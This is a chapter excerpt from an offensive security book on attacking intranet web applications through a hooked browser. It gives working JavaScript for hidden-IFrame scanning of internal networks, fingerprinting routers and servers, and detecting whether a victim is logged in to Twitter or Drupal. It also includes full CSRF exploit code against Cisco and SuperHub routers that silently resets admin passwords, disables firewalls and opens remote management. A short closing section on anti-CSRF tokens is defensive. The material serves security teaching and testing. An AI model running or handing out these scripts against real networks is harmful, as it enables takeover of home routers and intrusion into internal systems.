Attacking Web Applications - The Browser Hacker’s Handbook (2014)

The Browser Hacker’s Handbook (2014)

Chapter 9. Attacking Web Applications

This chapter explores ricocheting web application attacks off a hooked browser without violating the SOP. If you have control over a browser and that browser can access an intranet web application, then the web application becomes a reachable target.

Stop for a moment and consider that paradigm. In the past, assumptions have been made that web applications residing on the intranet can have a less evolved security posture than those directly accessible from the Internet. Why bother securing an application if it is not accessible on the web, right? Using the techniques covered in this chapter, many intranet web applications become accessible. Softer intranet targets can become accessible from the Internet by routing attacks via a hooked browser.

Various methods exist that allow browser requests to fingerprint resources cross-origin. Similar methods provide mechanisms to exploit SQL injection and Cross-site Scripting vulnerabilities, which are demonstrated in the upcoming sections. The final sections of this chapter go a step further, demonstrating how to target vulnerable web applications containing Remote Code Execution flaws.

In this chapter, you explore methods to hook previously unknown intranet origins to expand the attack surface. Proxying your attacks through the browser opens a world of possibilities to you. You can use your conventional attack tools with greater reach, or simply browse the previously inaccessible new origins.

The methods revealed in this chapter will not only allow you to expand the attack surface. They will allow you, as an attacker, to obtain an increased level of anonymity, and an increased access to non-routable web applications residing on intranets. So, let’s jump right in!

Sending Cross-origin Requests

In most situations the Same Origin Policy (SOP) prevents you from reading the HTTP response when sending cross-origin requests. As you will see in this and following chapters, you don’t always need to read the response to successfully deliver your attacks.

If you know that a particular server is vulnerable to a Remote Command Execution or SQL injection vulnerability, you can send the request containing the attack, ignoring the response. The important point for most attacks is that the target correctly processes the data in the HTTP request.

Enumerating Cross-origin Quirks

Before you venture off into the world of enumerating cross-origin attacks, you need to understand which browsers are useful for generating cross-origin requests. This way you can be confident that any exploit you launch lands on the target.

Not all browsers are created equal when it comes to cross-origin quirks. Variations exist between version and vendor, and consequently some browsers will be more useful than others. CSS, JavaScript, and the SOP have many quirks that can influence the probability of a successful attack. In this section, you explore methods to establish the capabilities of different browsers at any given time.

So, first things first. Let’s start with working out if your browser can actually conduct requests cross-origin. Run the following code to test the usefulness of the browser. It determines if the browser will conduct the POST and GETXMLHttpRequest cross-origin. First, execute the following server-side Ruby code to handle GET and POST requests:

require 'rubygems'

require 'thin'

require 'rack'

require 'sinatra'

class XhrHandler < Sinatra::Base

post "/" do

puts "POST from [#{request.user_agent}]"

params.each do |key,value|

puts "POST body [#{key}->#{value}]"

end

p "[+] Content-Type [#{request.content_type}]"

p "[+] Body [#{request.body.read}]"

# p "Raw request:\n #{request.env.to_s}"

end

get "/" do

puts "GET from [#{request.user_agent}]"

params.each do |key,value|

puts "[+] Request params [#{key} -> #{value}]"

end

end

options "/" do

puts "OPTIONS from [#{request.user_agent}]"

puts "[+] The preflight was triggered"

end

end

@routes = {

"/xhr" => XhrHandler.new

}

@rack_app = Rack::URLMap.new(@routes)

@thin = Thin::Server.new("browserhacker.com", 4000, @rack_app)

Thin::Logging.silent = true

Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"

@thin.start

Running this code relies on some common Ruby libraries. The Ruby back end is using Thin as the web server, and Sinatra as a high-level API for the Rack middleware. Only one route has been mounted (the @routes variable) which specifies the /xhr path that will be handled by the XhrHandlerclass. The methods inside that class are responsible for handling GET, POST, and OPTIONS requests.

Next, you need to run the following JavaScript snippet in the browser console, which will attempt to communicate to the listening server:

var uri = "http://browserhacker.com";

var port = 4000;

xhr = new XMLHttpRequest();

xhr.open("GET", uri + ":" + port + "/xhr?param=value", true);

xhr.send();

xhr = new XMLHttpRequest();

xhr.open("POST", uri + ":" + port + "/xhr", true);

xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

xhr.send("a001 LIST \r\n");

Both the requests point to browserhacker.com:4000. The first is a simple asynchronous GET request, and the second is an asynchronous POST request, with a custom content type text/plain and a custom body.

Testing a Chrome browser results in the following output to the terminal:

$ ruby XMLHttpRequest-test-server.rb

[2013-07-07 20:05:42 +1000] Thin ready

POST from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/53

7.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36]

"[+] Content-Type [text/plain]"

"[+] Body [a001 LIST \r\n]"

GET from [Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537

.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36]

[+] Request params [param -> value]

Results may vary from browser to browser and between different browser versions. A couple of scenarios are usually encountered that will be useful to know for current releases of browsers.

Likely situations for pivoting to other origins can be broken up into targeting the Internet and targeting the intranet. When targeting the intranet it is important to know that the browser hooked on an origin with a non-RFC1918 address can request resources from an origin with an (intranet) RFC1918 address. The preceding code snippets can be updated by modifying the uri and binding port values to aid your verification. Using Chrome as an example, Figure 9-1 highlights the errors received complaining about missing CORS headers. This is correct, because the code snippet does not supply CORS headers. Importantly, regardless of the errors in the browser, both the GET and POST cross-origin requests arrive correctly to the target.

Figure 9-1: Errors generated when missing CORS headers in Chrome

image

Preflight Requests

A preflight request1 is an HTTP request that is issued prior to a main CORS HTTP request under certain conditions. Effectively, two requests are sent to the web server to retrieve one response body.

The preflight request is sent whenever a simple method2 or a simple header3 is not used in the CORS request. It uses the OPTIONS method in order to ask the server if the custom headers, content type, or HTTP verb are permitted. If a positive response is returned from the server, the response body can be accessed cross-origin.

In the previous JavaScript XMLHttpRequest code snippet, the text/plain content type was used deliberately so as to not trigger the more sophisticated browser CORS logic. Content types with similar behavior include application/x-www-form-urlencoded and multipart/form-data.

Implications

The text/plain, application/x-www-form-urlencoded, and multipart/form-data content types in POST requests are in most cases exempt from preflight requests. The possibility of sending cross-origin requests to a custom port with a custom content-type will be critical in order to deliver various attacks to network services.

Techniques like Inter-protocol Communication and Exploitation, (covered in Chapter 10) fundamentally rely on the ability to communicate with those ports and content-types. Attacks to network services are not the only ones that benefit from such behavior. At the end of this chapter, multiple cross-origin exploitation scenarios on JBoss, GlassFish, and m0n0wall are discussed. All of them rely on the hooked browser sending cross-origin requests using one of the content-types that do not require a preflight request.

Cross-origin Web Application Detection

The techniques covered in the previous section can be employed when attempting to discover web applications from cross-origin. In this section, you focus on using IFrames as the detection mechanism. Methods to discover internal device IP addresses and internal domain names are presented. Both of them rely on creating hidden IFrames to load either an IP or a domain name on a chosen port.

Discovering Intranet Device IP Addresses

You can discover devices on the intranet by using a hooked browser with access to that subnet. The subnet doesn’t need to be Internet routable. The main requirements are that you have hooked the browser and that the browser has access to the subnet.

Web browsers will load content into IFrames cross-origin. Using this functionality, it is possible to detect if a web application is running on the target origin. Let’s say you want to detect devices on the 172.16.37.0/24 subnet running web applications on port 80. You could run the following code:

var protocol = "http://";

var port = 80;

var c_subnet = "172.16.37.0";

// the following returns 172.16.37.

var c = c_subnet.split(

c_subnet.split('.')[3]

)[0];

// adds a new 'b' element that will hold

// the appended IFrames

var dom = document.createElement('b');

document.body.appendChild(dom);

// load an hidden IFrame pointing to

// the current IP being iterated

function check_host(url, id){

var iframe = document.createElement('iframe');

iframe.src = url;

iframe.id = "i_" + id;

iframe.style.visibility = "hidden";

iframe.style.display = "none";

iframe.style.width = "0px";

iframe.style.height = "0px";

iframe.onload = function(){

console.log('Internal webapp found: ' + this.src);

}

dom.appendChild(iframe);

}

// iterate through the class C subnet

for(var i=1; i < 255; i++){

var host = c + i;

check_host(protocol + host + ":" + port, i);

}

// if the iframe src doesn't exist, the onerror method

// is not thrown, so we need to clean the DOM afterwards

setTimeout(function(){

for(var i=1; i < 255; i++){

var del = document.getElementById("i_" + i);

dom.removeChild(del);

}

}, 2000);

Given the 172.16.37.0/24 internal network range, the preceding code snippet starts iterating over all the 254 IPs, appending a hidden IFrame for each IP. Each IFrame loads the IP currently iterated, using the http:// scheme type and port 80. For example, http://172.16.37.147:80 is loaded during one of the iterations.

If the IFrame loads successfully, the onload event is triggered, meaning that the device at 172.16.37.147:80 is running a web server, and that potentially there is a web application deployed there. The time needed for the code to complete on the local subnet is very short, usually less than two seconds. After two seconds, the DOM gets cleaned from all the IFrames previously appended.

Enumerating Internal Domain Names

Enumerating internal domain names is another useful method of cross-origin web application detection. The approach is very similar to discovering internal IP addresses. The difference exists in iterating over predefined domain names rather than IP ranges.

The array in the subsequent code snippet has a list of common internal domain names. Run it in your JavaScript console and it will discover web applications that have an internal domain name in the list:

var protocol = "http://";

var port = 80;

// common internal hostnames

var hostnames = new Array("about", "accounts", "admin",

"administrator", "ads", "adserver", "adsl", "agent",

"blog", "channel", "client", "dev", "dev1", "dev2",

"dev3", "dev4", "dev5", "dmz", "dns", "dns0", "dns1",

"dns2", "dns3", "extern", "extranet", "file", "forum",

"forums", "ftp", "ftpserver", "host", "http", "https",

"ida", "ids", "imail", "imap", "imap3", "imap4", "install",

"intern", "internal", "intranet", "irc", "linux", "log",

"mail", "map", "member", "members", "name", "nc", "ns",

"ntp", "ntserver", "office", "owa", "phone", "pop", "ppp1",

"pptp", "print", "printer", "project", "pub", "public",

"preprod", "root", "route", "router", "server", "smtp",

"sql", "sqlserver", "ssh", "telnet", "time", "voip",

"w", "webaccess", "webadmin", "webmail", "webserver",

"website", "win", "windows", "ww", "www", "wwww", "xml");

// adds a new 'b' element that will hold

// the appended IFrames

var dom = document.createElement('b');

document.body.appendChild(dom);

// load an hidden IFrame pointing to

// the current hostname being iterated

function check_host(url, id){

var iframe = document.createElement('iframe');

iframe.src = url;

iframe.id = "i_" + id;

iframe.style.visibility = "hidden";

iframe.style.display = "none";

iframe.style.width = "0px";

iframe.style.height = "0px";

iframe.onload = function(){

console.log('Internal DNS found: ' + this.src);

document.body.removeChild(this);

};

dom.appendChild(iframe);

}

// iterate through the hostname array

for(var i=1; i < hostnames.length; i++){

check_host(protocol + hostnames[i] + ":" + port, i);

}

// if the iframe src doesn't exists, the onerror method

// is not thrown, so we need to clean the DOM afterwards

setTimeout(function(){

for(var i=1; i < 255; i++){

var del = document.getElementById("i_" + i);

dom.removeChild(del);

}

}, 2000);

For each domain name, a corresponding IFrame is appended to the DOM. As with the previous technique, if the IFrame onload event is triggered, the internal domain name has been found.

Both the code snippets could be modified to support additional URI schemes like https:// (although http:// is certainly more common on internal networks), and multiple ports such as 443, 8080, and 8443.

You can see the results of executing both techniques in Figure 9-2. Two internal web applications were identified on IPs 172.16.37.1 and 172.16.37.147, as well as two distinct internal domain names mapped at www and sqlserver.

Figure 9-2: Discovering internal network details

image

After you discover IP addresses and domain names of web applications sitting in the internal network of the hooked browser, the next step is fingerprinting them.

These methods allow you to get details of potential targets on the intranet. More sophisticated methods, including using Java and the Session Discovery Protocol, are explored in Chapter 10.

Cross-origin Web Application Fingerprinting

JavaScript can dynamically create an Image object and bind custom onload and onerror handlers to it. This concept is discussed in detail in Chapter 3. This same technique is used in this chapter to identify web applications, network daemons, and any other device that exposes resources via HTTP.

HTTP services that are accessible from the Internet won’t require the fingerprinting methods discussed here because various tools will allow you to do it directly. The web server hosting the target web application might be available from the internal network only. Using the following methods becomes most valuable is when the only access you have to the target web application is indirectly via the hooked browser.

Requesting Known Resources

Web application software can be potentially identified through enumerating its common resources. You need to know the mapping of resources associated with the web application you want to fingerprint. Then extrapolating from successful (or unsuccessful) cross-origin requests provides the method to identify the target.

These resources can be images or even web pages used in admin interfaces. Let’s say you want to identify a Linksys NAS, you can check for the resource /Admin_top.jpg on port 80. This is a default resource exposed in every device of that type.

Another example is the /icons/apache_pb.gif resource that is used to identify an Apache web server, which is usually available even in production environments. The same technique can be applied not only to images but also to web pages. Every CMS, CRM, ERP, and web application you can think of will probably have default web pages that are always the same across different installations.

In any case, the effectiveness of this technique relies on having a big database of known resources. Generally speaking, the bigger the resource data set is, the more reliable the results will be.

Requesting Images

Let’s consider a fingerprinting method to find image resources on a number of targets. The first thing you need is an array of target IPs you want to check, such as the following:

ips = [

'192.168.0.1',

'192.168.0.100',

'192.168.0.254',

'192.168.1.1',

'192.168.1.100',

'192.168.1.254',

'10.0.0.1',

'10.1.1.1',

'192.168.2.1',

'192.168.2.254',

'192.168.100.1',

'192.168.100.254',

'192.168.123.1',

'192.168.123.254',

'192.168.10.1',

'192.168.10.254'

];

In this instance these IPs are private IPs used in LANs. Although you are not limited to targeting only internal networks, the low-hanging fruits often reside there.

Your next step is to create a fingerprinting database, where you map a device or web application to images. For reliability and to minimize false positives, image width and height can also be mapped together with the image path. It might happen that two web applications expose the same/logo.gif image, but the likelihood that those two images have the same width and height is minimal. Your fingerprinting database may look like the following:

var fingerprint_data = new Array(

new Array(

"JBoss Application server",

"8080","http",true,

"/images/logo.gif",226,105),

new Array(

"VMware ESXi Server",

"80","http",false,

"/background.jpeg",1,1100),

new Array(

"Glassfish Server",

"4848","http",false,

"/theme/com/sun/webui/jsf/suntheme \

/images/login/gradlogsides.jpg", 1, 200),

new Array(

"m0n0wall",

"80","http",false,

"/logo.gif",150,47)

);

Every array element of the fingerprint_data data structure contains the name of the domain, the port and scheme type to be used to request the image path, and, finally, the image width/height tuple. If you are keen to see a more complete (although not exhaustive) fingerprinting database, check out BeEF’s internal_network_fingerprinter module, thanks to the hard work of Brendan Coles4.

Now that you have both the IPs and the image data, the following JavaScript code can be injected in the hooked browser DOM. It will check if those IPs, or other IPs you can specify, are running the web applications mapped in the fingerprint_data data set:

var dom = document.createElement('b');

// for each IP

for(var i=0; i < ips.length; i++) {

// for each application in the dataset

for(var u=0; u < fingerprint_data.length; u++) {

var img = new Image;

img.id = u;

img.src = fingerprint_data[u][2]+"://"+ips[i]

+":"+fingerprint_data[u][1]+ fingerprint_data[u][4];

//onload event triggered, the image has been found

img.onload = function() {

// now double-check the width/height too

if (this.width == fingerprint_data[this.id][5] &&

this.height == fingerprint_data[this.id][6]) {

console.log("Detecting [" + fingerprint_data[this.id][0]

+ "] at IP [" + ips[i] + "]");

//notify BeEF server

beef.net.send('<%= @command_url %>', <%= @command_id %>,

'discovered='+escape(fingerprint_data[this.id][0])+

"&url="+escape(this.src)

);

//job done, remove the image from the DOM

dom.removeChild(this);

}

}

// add the image to the DOM

dom.appendChild(img);

}}

When the preceding code is run, it attempts to load all the resources into individual IFrames. The resource’s URLs are constructed by combining the fingerprint_data and ips structures. If the image onload event is triggered, it means a resource has been correctly identified (otherwise theonerror event will be triggered).

Finally, to reduce uncertainty, the image’s width and height are verified. If the image path, width, and height correspond to one of the entries in the data set previously created, then you have a winner! A resource is correctly identified, as shown in Figure 9-3.

Figure 9-3: VMware ESXi server is correctly identified.

image

Requesting Pages

Many CMS and general web application fingerprinting tools have a big database of CMS types, versions, themes, and plugins. One of them is CMS-Explorer,5 created by Chris Sullo (the author of Nikto). It contains thousands of plugin and theme URL paths for Drupal, Joomla, and WordPress. Such information can be very useful, especially if combined with security vulnerabilities like XSS and SQLi, which are common in these CMS plugins.

To check if an application exposes a specific path, for instance modules/filebrowser/, you can use an approach similar to the one used before with images. First, create a data structure containing the name and path for multiple plugins used in Drupal. For each path you want to check for, create a script tag with custom onerror and onload handlers. You can use the following code snippet for this purpose:

var target = "http://172.16.37.147";

/* Resources to check (name, path)*/

var resources = [

["Drupal - FileBrowser","modules/filebrowser/"],

["Drupal - FFmpeg", "modules/ffmpeg/"],

["WordPress - AccessLogs", "wp-content/plugins/access-logs/"]

];

/* Super-paths (either / or /drupal)*/

var paths = ["/", "/drupal/"];

function add_tag(src){

for(var p=0; p < paths.length; p++) {

// for every super-path, create the final URI

var uri = target + paths[p] + src;

var i = document.createElement('script');

i.src = uri;

i.style.display = 'none';

i.onload = function(){

console.log(uri + " -- FOUND");

};

i.onerror = function(){

console.log(uri + " -- NOT-FOUND");

};

document.body.appendChild(i);

}

}

/* For every resource to be checked, add a new script tag */

for(var c=0; c < resources.length; c++) {

add_tag(resources[c][1]);

}

As you can see, instead of using the img tag, you use the script tag. When running the code you will notice syntax errors if a resource is found, as shown in Figure 9-4. This happens because HTML files will often return with text/html content-types instead of application/javascript, resulting in JavaScript parsing errors.

Although the requests are for known resources that do not contain JavaScript, bear in mind that this method is susceptible to counter attack. The resource could be changed to a script, which would allow the counter-attacker to take control over the hooked browser. Of course, there is also further mitigation that you could apply like using the IFrame sandbox attribute.

Figure 9-4: Drupal and the FileBrowser plugin are identified.

image

This same technique can be used to fingerprint devices exposing web interfaces. In this instance you will explore the Sagemcom F@ST 2504 router6 which is a broadband router provided by Sky. Don’t worry if you don’t have this router though, many of the techniques discussed in the following sections are equally applicable to similar devices.

Just like a lot of similar devices, this router is reachable from a browser at the URL http://192.168.0.1:80. The router exposes multiple resource pre-authentication, both JavaScript files and images. This is perfect for you as it provides a method to fingerprint it. You can use the following code to identify it as the Sagemcom router:

// default router IP

var target = "192.168.0.1";

// default router images

var fingerprint_data = new Array(

new Array(

"Sky Sagemcom Router",

"80","http",true,

"/sky_images/arrows.gif",8,16),

new Array(

"Sky Sagemcom Router",

"80","http",true,

"/sky_images/icons-broadband.jpg",43,53)

);

var dom = document.createElement('b');

for(var u=0; u < fingerprint_data.length; u++) {

var img = new Image;

img.id = u;

img.src = fingerprint_data[u][2]+"://"+target

+":"+fingerprint_data[u][1]+ fingerprint_data[u][4];

//onload event triggered, the image has been found

img.onload = function() {

// now double-check the width/height too

if(this.width == fingerprint_data[this.id][5] &&

this.height == fingerprint_data[this.id][6]){

console.log("Found " + fingerprint_data[this.id][4] +

" -> " + fingerprint_data[this.id][0]);

//job done, remove the image from the DOM

dom.removeChild(this);

}

}

// add the image to the DOM

dom.appendChild(img);

}

The results of running the previous code can be seen in Figure 9-5, which confirms that the Sagemcom router is reachable at http://192.168.0.1:80/. You can be confident of this because two default images have been successfully identified.

Figure 9-5: Fingerprinting the router

image

In 2007 Gareth Heyes created jsLanScanner,7 which used similar techniques to discover and fingerprint multiple embedded devices. His fingerprinting database is quite accurate, and contains almost 200 different devices.

Now that the router has been successfully discovered and fingerprinted, you want to gain access to the device. Usually the next step is dealing with authentication, which is covered in the next section.

Cross-origin Authentication Detection

Most web applications that implement login functionality have resources that are only available post-authentication, and separate resources available to unauthenticated, anonymous visitors.

Common behaviors web applications might use are replying with a 403 or 404 HTTP status code when a request for an authenticated resource occurs from an unauthenticated user, or with a 200 status code if the user requesting the resource is logged in.

Another common behavior is replying with a 302 HTTP Redirect status code when requesting a nonexistent resource that is under a path protected by authentication. For example, let’s say you request http://browserhacker.com/admin/non_existent, where all resources under the /admin/ path require the user to be authenticated. The web application replies with a 302 status code if you request /admin/non_existent as an unauthenticated user, redirecting back to the login page at /admin/login. Instead, if you are an authenticated user and you request /admin/non_existent, you get a 404 Not found error.

Mike Cardwell analyzed multiple social networking sites, checking whether they use HTTP status codes in a similar way. His analysis revealed interesting results.8 Twitter, for example, behaves like the second example, returning a 302 or 404 on non-existent resources depending on whether or not the user session is authenticated.

Consider that the script HTML tag fires the onerror event if the resource you want to load returns a 403, 404, or 500 status code, and fires the onload event if the resource returns with a 200 or 302 status code. Also consider that Twitter requires authentication to access resources under the/account/* path. Armed with these two details, you can reliably determine if the hooked browser is logged in to Twitter on one of its open tabs (or windows), and you can do it cross-origin without violating the SOP. The following code snippet will do the trick:

var script = document.createElement("script");

script.onload = function(){

alert('not logged in')

};

script.onerror = function(){

alert('logged in')

};

script.src = "https://twitter.com/account/non_existent";

var head = document.getElementsByTagName("head")[0];

head.appendChild(script);

As you can see from Figure 9-6, if the hooked browser is not logged in to Twitter, a 302 response code is returned if a nonexistent resource such as /account is requested. This results in the script firing the onload event.

Figure 9-6: Detecting that the victim is not logged in to Twitter

image

If the hooked browser is logged in to Twitter, as you can see in Figure 9-7, requesting the same non-existent resource returns a 404 status code instead, resulting in the onerror event being executed.

Figure 9-7: Detecting that the victim is logged in to Twitter

image

Monitoring resource load times is another technique that works cross-origin. You can extrapolate important details if there is a load time delta on a resource when a session is authenticated versus when it is not. Using this information you can ascertain if the browser is logged in to an application.

Haroon Meer and Marco Slaviero presented this technique at DEF CON 15 in 20079 using IFrames with a custom onload event handler that monitors how long it takes for the framed resource to load. The results are more accurate the greater the load time delta. Many interactions in a web application may cause a delay.

A good example is a default installation of Drupal 6. If you’re logged in and you request http://browserhacker.com/drupal/?q=admin, the content length will be 3,264 bytes. On the other hand, if you are not logged in and you request the same resource, you receive a 403 HTTP status code and the content length will be 1,374 bytes.

A bigger content length often results in a longer load time, even if we are only talking milliseconds. The following code snippet can perform this query, but bear in mind it must be modified to suit your needs and the application you are testing:

var add_iframe;

var counter = 5;

var sum = 0;

/* Average time to match. In this case for

the http://browserhacker.com/drupal/?q=admin

resource:

logged in takes > 210ms

not logged in takes < 210ms

*/

var avg_to_match = 210;

function append(){

if(counter > 0){

var i = document.createElement("iframe");

i.src = "http://browserhacker.com/drupal/?q=admin";

var start = new Date().getTime();

console.log('start:' + start);

/* Custom onload handler to monitor load time*/

i.onload = function(){

var end = new Date().getTime();

console.log('end:' + end);

var total = end - start;

console.log('total:' + total);

sum += total;

counter--;

}

document.body.appendChild(i);

}else{

clearInterval(add_iframe);

var avg = sum / 5;

var logged_in = true;

console.log("sum: " + sum + ", avg:" + avg);

if(avg < 210){

logged_in = false;

}

console.log("logged in Drupal 6: " + logged_in);

}

}

add_iframe = setInterval(function(){append()},500);

Continuing with the Drupal example, Figure 9-8 and Figure 9-9 highlight the results of running the previous script. Note the different sum and average times.

Figure 9-8: Detecting that the victim is NOT logged in to Drupal

image

Figure 9-9: Detecting that the victim is logged in to Drupal

image

The fact you can accurately identify if the hooked browser is logged in to a web application helps launch attacks more reliably. Combine this knowledge with resources that are not protected with XSRF tokens, and you can potentially perform all sorts of actions on behalf of the hooked user.

Exploiting Cross-site Request Forgery

Cross-site Request Forgery vulnerabilities are often referred to as either CSRF or XSRF vulnerabilities. XSRF attacks were first discussed in 2001 when Peter Watkins started a thread10 on the Full Disclosure mailing list to discuss the issue. Since this time, XSRF vulnerabilities have become well known and understood throughout the security community.

Understanding Cross-site Request Forgery

XSRF attacks exploit the trust a web application places on its users’ HTTP requests. This attack class is particularly useful when you know a user has authenticated with an application. Remember, techniques discussed in the previous section will help determine if a user has logged in.

Let’s take an application that requires an admin user to be logged in before being able to access the http://browservictim.com/admin/users resource. If an attacker controls a different origin on the browser with the authenticated origin, the attacker can potentially exploit an XSRF vulnerability within the web application. This means the attacker can perform actions on behalf of the authenticated user by including properly formatted requests to the vulnerable resource.

The attacker can forge cross-origin AJAX requests for the vulnerable resource. When processed by the browser, the requests will automatically include the cookies of the user, and therefore appear to be legitimate, authenticated requests. Using JavaScript to dynamically create and submit HTML forms with the same parameters will result in the same forged request. These requests will often be trusted by the web application, exploiting the fact that the user is logged in, and the cookies are sent with each request to the origin. Such vulnerabilities can be exploited because HTTP requests can be replayed, and the HTTP protocol doesn’t dictate how to handle unique requests.

Consider another scenario. A user is logged in to the admin interface of a Cisco c24e000 router. If the web admin UI is vulnerable to XSRF attacks, every request can be replayed by simply knowing the required parameters. An attacker can therefore trick the user into executing the following code from another origin:

beef.execute(function() {

var gateway = 'http://192.168.100.2/';

var passwd = 'new_password';

// Enable Remote Administration to every IP

// and change the admin password

var cisco_c24e000_iframe1 = beef.dom.createIframeXsrfForm \

(gateway + "apply.cgi", "POST",

[

{'type':'hidden', 'name':'submit_button', 'value':'Management'},

{'type':'hidden', 'name':'change_action', 'value':''},

{'type':'hidden', 'name':'action', 'value':'Apply'},

{'type':'hidden', 'name':'PasswdModify', 'value':'0'},

{'type':'hidden', 'name':'http_enable', 'value':'1'},

{'type':'hidden', 'name':'https_enable', 'value':'1'},

{'type':'hidden', 'name':'ctm404_enable', 'value':''},

{'type':'hidden', 'name':'remote_mgt_https', 'value':'1'},

{'type':'hidden', 'name':'wait_time', 'value':'4'},

{'type':'hidden', 'name':'need_reboot', 'value':'0'},

{'type':'hidden', 'name':'http_passwd', 'value':passwd},

{'type':'hidden', 'name':'http_passwdConfirm','value':passwd},

{'type':'hidden', 'name':'_http_enable', 'value':'1'},

{'type':'hidden', 'name':'_https_enable', 'value':'1'},

{'type':'hidden', 'name':'web_wl_filter', 'value':'0'},

{'type':'hidden', 'name':'remote_management', 'value':'1'},

{'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'},

{'type':'hidden', 'name':'remote_upgrade', 'value':'1'},

{'type':'hidden', 'name':'remote_ip_any', 'value':'1'},

{'type':'hidden', 'name':'http_wanport', 'value':'8080'},

{'type':'hidden', 'name':'nf_alg_sip', 'value':'0'},

{'type':'hidden', 'name':'ctf_disable', 'value':'0'},

{'type':'hidden', 'name':'upnp_enable', 'value':'1'},

{'type':'hidden', 'name':'upnp_config', 'value':'0'},

{'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'},

]);

// Disable the Firewall and Java/ActiveX checks

var cisco_c24e000_iframe2 = beef.dom.createIframeXsrfForm \

(gateway + "apply.cgi", "POST",

[

{'type':'hidden', 'name':'submit_button', 'value':'Firewall'},

{'type':'hidden', 'name':'change_action', 'value':''},

{'type':'hidden', 'name':'action', 'value':'Apply'},

{'type':'hidden', 'name':'block_wan', 'value':'0'},

{'type':'hidden', 'name':'block_loopback', 'value':'0'},

{'type':'hidden', 'name':'multicast_pass', 'value':'1'},

{'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'},

{'type':'hidden', 'name':'ident_pass', 'value':'0'},

{'type':'hidden', 'name':'block_cookie', 'value':'0'},

{'type':'hidden', 'name':'block_java', 'value':'0'},

{'type':'hidden', 'name':'block_proxy', 'value':'0'},

{'type':'hidden', 'name':'block_activex', 'value':'0'},

{'type':'hidden', 'name':'wait_time', 'value':'3'},

{'type':'hidden', 'name':'ipv6_filter', 'value':'off'},

{'type':'hidden', 'name':'filter', 'value':'off'}

]);

beef.net.send("<%= @command_url %>", <%= @command_id %>, \

"result=exploit attempted");

cleanup = function() {

document.body.removeChild(cisco_c24e000_iframe1);

document.body.removeChild(cisco_c24e000_iframe2);

}

setTimeout("cleanup()", 15000);

});

In most situations this code will be trusted across origins. The code snippet is dynamically creating two invisible IFrames, each of them containing one HTML form with all the hidden input fields required to create two valid requests. The first one will enable Remote Management functionality, available via HTTPS and protected by a known, default password; and the second request will disable both the firewall and Java/ActiveX controls. All these changes in the router configuration are applied silently without notifying the user. If this attack is delivered successfully, you as the attacker could subsequently connect to the Remote Management port, having full access to the user’s router.

The HTML forms are created dynamically using BeEF’s JavaScript API from the dom.js core file:

createIframeXsrfForm: function(action, method, inputs){

//invisible iframe with width/height 1px and visibility hidden

var iframeXsrf = beef.dom.createInvisibleIframe();

var formXsrf = document.createElement('form');

formXsrf.setAttribute('action', action);

formXsrf.setAttribute('method', method);

// an array of inputs to be added to the form (type, name, value).

// example: [{'type':'hidden', 'name':'1', 'value':''}

// {'type':'hidden', 'name':'2', 'value':'3'}]

var input = null;

for (i in inputs){

var attributes = inputs[i];

input = document.createElement('input');

for(key in attributes){

input.setAttribute(key, attributes[key]);

}

formXsrf.appendChild(input);

}

// the form is appended to the hidden iFrame and submitted

iframeXsrf.contentWindow.document.body.appendChild(formXsrf);

formXsrf.submit();

return iframeXsrf;

}

This API method is a convenient way for modules to create ready-to-use XSRF attacks in JavaScript, which can easily be chained to other exploits. Using HTML forms instead of XMLHttpRequest objects to deliver these requests is more reliable, because you worry less about differing implementations of the XMLHttpRequest object between browsers.

Attacking Password Reset with XSRF

A common security issue with routers is the ability to change the administrative password without knowledge of the previous password. Many routers also have remote administration capabilities, a feature sometimes used by the ISP support team to remotely fix a user’s connectivity issues.

John Carroll discovered11 that almost every resource of the SuperHub router’s web UI is vulnerable to XSRF. The router also allows the administrator password to be reset without supplying the previous password.

This means cross-origin requests can perform important actions on the target device. You can run the following snippet in the hooked browser to exploit these vulnerabilities. If the user has already authenticated, the code will reset the admin password, disable the firewall, and enable remote administration:

var gateway = 'http://192.168.100.1/';

var passwd = 'BeEF12345';

var port = '31337';

// change default router password to 'BeEF12345'

var iframe_1 = beef.dom.createIframeXsrfForm(

gateway + "goform/RgSecurity", "POST", [

{'type':'hidden', 'name':'NetgearPassword', 'value':passwd},

{'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd},

{'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'}

]);

// disable the firewall

var iframe_2 = beef.dom.createIframeXsrfForm(

gateway + "goform/RgServices", "POST", [

{'type':'hidden', 'name':'cbPortScanDetection', 'value':''}

]);

// enable remote administration on port 31337

var iframe_3 = beef.dom.createIframeXsrfForm(

gateway + "goform/RgVMRemoteManagementRes", "POST", [

{'type':'hidden', 'name':'NetgearVMRmEnable', 'value':'0x01'},

{'type':'hidden', 'name':'NetgearVMRmPortNumber', 'value':port}

]);

These attacks are often invaluable if you’re targeting a router from within a browser. Not only will updated credentials on the router potentially allow for further changes to be made, you can lock out the legitimate user. This may assist with maintaining unauthorized access longer, and will inhibit the defender’s ability to respond.

Using CSRF Tokens for Protection

XSRF vulnerabilities can be mitigated through the addition of a pseudo-random token (anti-XSRF token) as a parameter to each request the browser sends to the web application.12 A normal, vulnerable HTML form may look like:

<form name="addUserToAdmins" action="/adduser" method="POST">

<input type="hidden" name="userId" value"1234">

<input type="hidden" name="isAdmin" value"true">

<input type="submit" value="Add to admin group" \

style="height: 60px; width: 150px; font-size:3em">

</form>

The same form with an anti-XSRF token looks like:

<form name="addUserToAdmins" action="/adduser" method="POST">

<input type="hidden" name="userId" value"1234">

<input type="hidden" name="isAdmin" value"true">

<input type="hidden" name="TOKEN" value"asasdasd86a\

sd876as87623234aksjdhjkashd">

<input type="submit" value="Add to admin group"

style="height: 60px; width: 150px; font-size:3em">

</form>

Going back to the previous exploitation against the Cisco c24e000, if the HTML forms were protected by an anti-XSRF token, the exploit would fail. When the web application parses the POST request, it verifies that the token is valid. Only if all of these conditions were true would the application accept and subsequently process the request.

